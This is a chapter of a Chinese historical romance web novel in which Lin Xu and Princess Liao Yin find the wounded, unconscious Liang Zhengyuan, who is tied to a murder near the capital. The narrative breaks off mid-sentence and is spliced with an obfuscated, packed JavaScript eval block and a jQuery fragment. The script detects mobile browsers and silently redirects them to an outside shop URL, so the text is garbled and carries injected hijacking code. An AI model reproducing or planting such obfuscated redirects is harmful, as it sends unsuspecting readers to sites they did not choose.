只昔遥遥 作品

105. 郢之

她一路行来不知缘由难免慌张,仔细端详其神色,却觉得窦言洵面色仍十分镇定,她这才一颗心渐渐落了下来。


早有仆从弯着腰,端上两杯冒着热气的清茶,她端起茶盏,轻轻抿了一口,极为淡雅的新鲜白叶,唯官司茶园方能产出这极为珍贵的叶子,入口果然不俗。到底是官衙之中,便是寻常的茶水亦十分出众。


见她渐渐神态和缓,窦言洵方将手中杯盏放下,静静地打量她的神色,方道:“今日请夫人前来,实则有一突发事宜,与夫人也有所关联。”


林栩微怔,随即看向他的双眸,努力地探寻他言中遮掩之意。窦言洵并非说话吞吞吐吐之人,如今先教她思虑平稳才缓声开口,倒像是与她相关之人出了什么事。


她心下一紧,便道:“夫君怎么好端端的卖起关子来?可是我家中出了什么要紧事?”


见她神色怔忪,窦言洵索性不再多言,站起身来,执起她的右手,便要牵着她向里间走去。


方才她不过四下匆匆打量一眼,未来得及细看,如今跟随在他身侧,这才发觉这小室内里还隔开了一间内室,推开门扉,却见一如整个房间的布局,淡雅而简单,而隔过那架木屏风,她不过遥遥一望,便当即低呼出声。


躺在那屏风之后的人,身子被屏风着去了大半,但她不过一瞥,便觉得分外熟悉。曾经每日朝夕相处,即便如今换了身破败残缺的衣衫,脚上的靴子也沾染的满是泥渍,以及接近于黑色斑斑血迹。


她再也忍不住,当即便向前扑过去,却在看到那张从前无比熟悉的面孔时所有呼吸都凝滞下来。


梁徵元静静地躺在那张小床上,双眸紧闭,数月不见,从前那张眉清目朗的面容如今已经消瘦得两颊凹陷下去,肤色也晒得黝黑,双唇干裂,全然没有她记忆中那潇洒韵致的少年郎半分模样。


她难以置信地看着梁徵元,匆忙伸手探了探他的脖颈。


虽然微弱,却还尚有脉搏和呼吸。


窦言洵走到她的身侧,手放在她的肩头,难得语调温柔地安慰她:“梁兄虽身子虚弱,但我已派人请了郎中为他诊过脉象,虽有外伤,但未伤及肺腑,应当只需稍加时日静养调理便可无虞。”


外伤?梁徵元分明好好地随军历练,应当正在惠东和崖州一带清扫流寇,与他当日一同南下的十四师百余人马至今尚未归京,如何他便遍体鳞伤地出现在了沐京?!


见她双目泫然,窦言洵低声道:


“今日我才来衙门不久,便听得前厅处有百姓前来报官。说是今晨在京郊一条田庄小径上发现一具男尸......周身满是血迹,而后有官兵派人仔细去搜寻时,却在那具尸身不远处的田地间发现了昏迷不醒的梁兄。因沐京的屯田官庄皆有我分管,是以张侍郎便将此事告知于我,而当我看到梁兄时,便觉得此事非同小可,是以即刻将你请来。”


林栩只觉得脑内声音嗡嗡不绝,一时间难以置信:


“那具男尸......又是谁?郢之怎么会又好端端的躺在路上昏迷不醒?”


“如今尸身已经交由里正和仵作进行查验了,个中缘由,只能待查验后方可知晓。不过,毕竟如今梁兄骤然出现在沐京又与一桩命案扯上关系,即便他尚未醒转,但恐怕等他醒转之际,便要先依据府尹的规矩而先收押再做盘问了。”


她看着窦言洵尚未平静的神色,却也知道他此刻已经尽可能的将话说得委婉些。梁徵元如今虽然性命无虞,却已是不幸中的万幸,他随军出行,却孤身一人出现在万里之外的京郊,若细查下去,大有可能被治个叛逃之罪,届时不论是流配或是徒刑,梁四这一生怕是便毁于一旦了。再者,那具尸体,如若此事不查明或没有证据,梁四甚至可能被定罪为杀人凶手,若当那时,便绝不仅仅是严惩如此简单了。


思来想去,此事已经竟是已经到了生死存亡,拯救梁四的关键时刻了。


她来不及再掉眼泪,转身便看向窦言洵,声音虽夹杂着哭腔,却清泠泠的有着让人无法拒绝的冷静与决绝。


“此事非同小可,多谢夫君提前让我知晓,只是我相信表兄为人正派,绝不可能做出这等叛逃杀人的苟且之事。”


窦言洵点点头,“你与他关系亲近,素来我亦曾听闻关于梁兄在校武场时的种种事迹,自是雄姿英发。只是此事毕竟非同小可,一切都需按律行事。”


林栩柔声道:“我明白。是以也并没有要求夫君依着我的关系而从轻处置这一事,我相信表兄不会犯下此事,倘若待查明真相之时,定会还他清白。不过,栩栩还是留有私心,想要央求夫君一事。”


.


此事毕竟非同小可,窦言洵便特意多派了几名仆役守在偏房门前。林栩坐在外间的桌几旁,双眉紧锁的看着杯中茶叶漂浮,不知等了多久,门外终于重新传来响动声。


果然没过多时,便有一位丫鬟模样的人掀起帘子赶了进来。虽是一身素布打扮,发髻低垂,眉目间却依旧难掩周身的华贵与尊荣,林栩匆匆一瞥,便起身向廖珚请安。


“见过郡主。”


廖珚却显然无暇与她闲话家常,她轻声喘着气,显然一路匆忙赶来,连茶水都顾不得喝,上前便握住林栩的双手,双目焦急道:“到底何事这般紧急,我真是半刻都不敢停歇。可是......他出了什么事?”


林栩向窦言洵求情,方才得了允准破例去请廖珚。为掩人耳目,她只吩咐竹苓说是关于梁四之事。却并未言明过多细节。果然不过半柱香的功夫,廖珚便神色匆匆的赶来了。甚至为了不引人注意,还特意换上了丫鬟才有的装扮


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14234004|150938||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''





林栩轻轻扶住廖珚的手腕,语气中透着几分安抚:“郡主,先稍安勿躁,事情确实棘手,但不至于让你惊慌失措。请先坐下喝口茶,待我慢慢与你说清。”


廖珚虽点了点头,但眉间的忧色未消,显然心底难以完全安定。她依言落座,仆从立刻奉上热茶。那茶盏虽是寻常瓷器,但茶香扑鼻。可廖珚兴致寥寥,端起茶盏只是象征性地抿了一口,便放了下去,目光始终未从林栩脸上移开。


“有什么事你只管说吧,我承受得住。”


林栩一怔,目光还是不由得落在廖珚的面容上。一向端庄沉稳的坤柔郡主,却甚少露出这般急色,亦是甚少有如此张皇失措的模样。一时间,她顾不得心中思量,柔声开口道。


“郡主请随我来吧。”


廖珚听完林栩的叮嘱,强压下心头的焦虑,跟随二人走入内室。刚跨过屏风,目光便被床上躺着的身影牢牢吸引住。廖珚倏地停下脚步,脸上的神色瞬间变得复杂无比。


床榻上的梁徵元,与她记忆中的那位意气风发的少年郎判若两人。


曾经挺拔的身姿如今蜷缩在薄薄的被褥下,衣衫破旧,布满血污与泥迹。他原本清朗俊逸的面容此刻显得格外苍白憔悴,双颊凹陷,眉头微蹙,仿佛昏迷之中也难得安宁。那双曾带着坚定与骄傲的眼睛,如今紧紧闭着,唯有微弱的胸膛起伏还能证明他尚有生机。


廖珚一步步靠近床榻,手指轻轻颤抖着,指尖刚触及梁徵元的手腕,她便猛然收回,低声呢喃道:


“怎么会变成这样......”


廖珚轻轻握紧拳头,深吸一口气,再度抬手,双眼已然被浓郁的怒气席卷。


林栩站在一旁,目光复杂地注视着她的神色,心中不禁暗暗叹息。她知道,廖珚虽然贵为郡主,平日里与梁徵元的交情虽未明言,但其中情愫却早已不言而喻。如今见他这般模样,她自然难以平静。


廖珚轻轻替梁徵元拉了拉被角,目光始终停留在他那张消瘦的脸庞上,声音低沉而坚定:“无论发生什么,我一定要查明真相。徵元绝不会做出违背军纪之事,更不可能涉足命案。他一定是被冤枉的!”


林栩轻声叹道:“我明白你的心情,但眼下最要紧的是先护住他的性命,再逐步调查真相。此事牵连甚广,容不得半点差池。”


廖珚缓缓点头,强压下心中的愤怒与悲伤,转头看向窦言洵,声音透着坚决:“窦大人,这件事无论如何,我都不会袖手旁观。请允许我协助你们,哪怕以郡主之名,我也要还徵元一个清白!”


窦言洵静静注视着她片刻,眼中掠过一丝复杂。他点点头,语气仍旧沉稳:“既然郡主如此执意,那便请随我们一同查探。但请记住,无论事情如何发展,都需冷静应对,切莫意气用事。”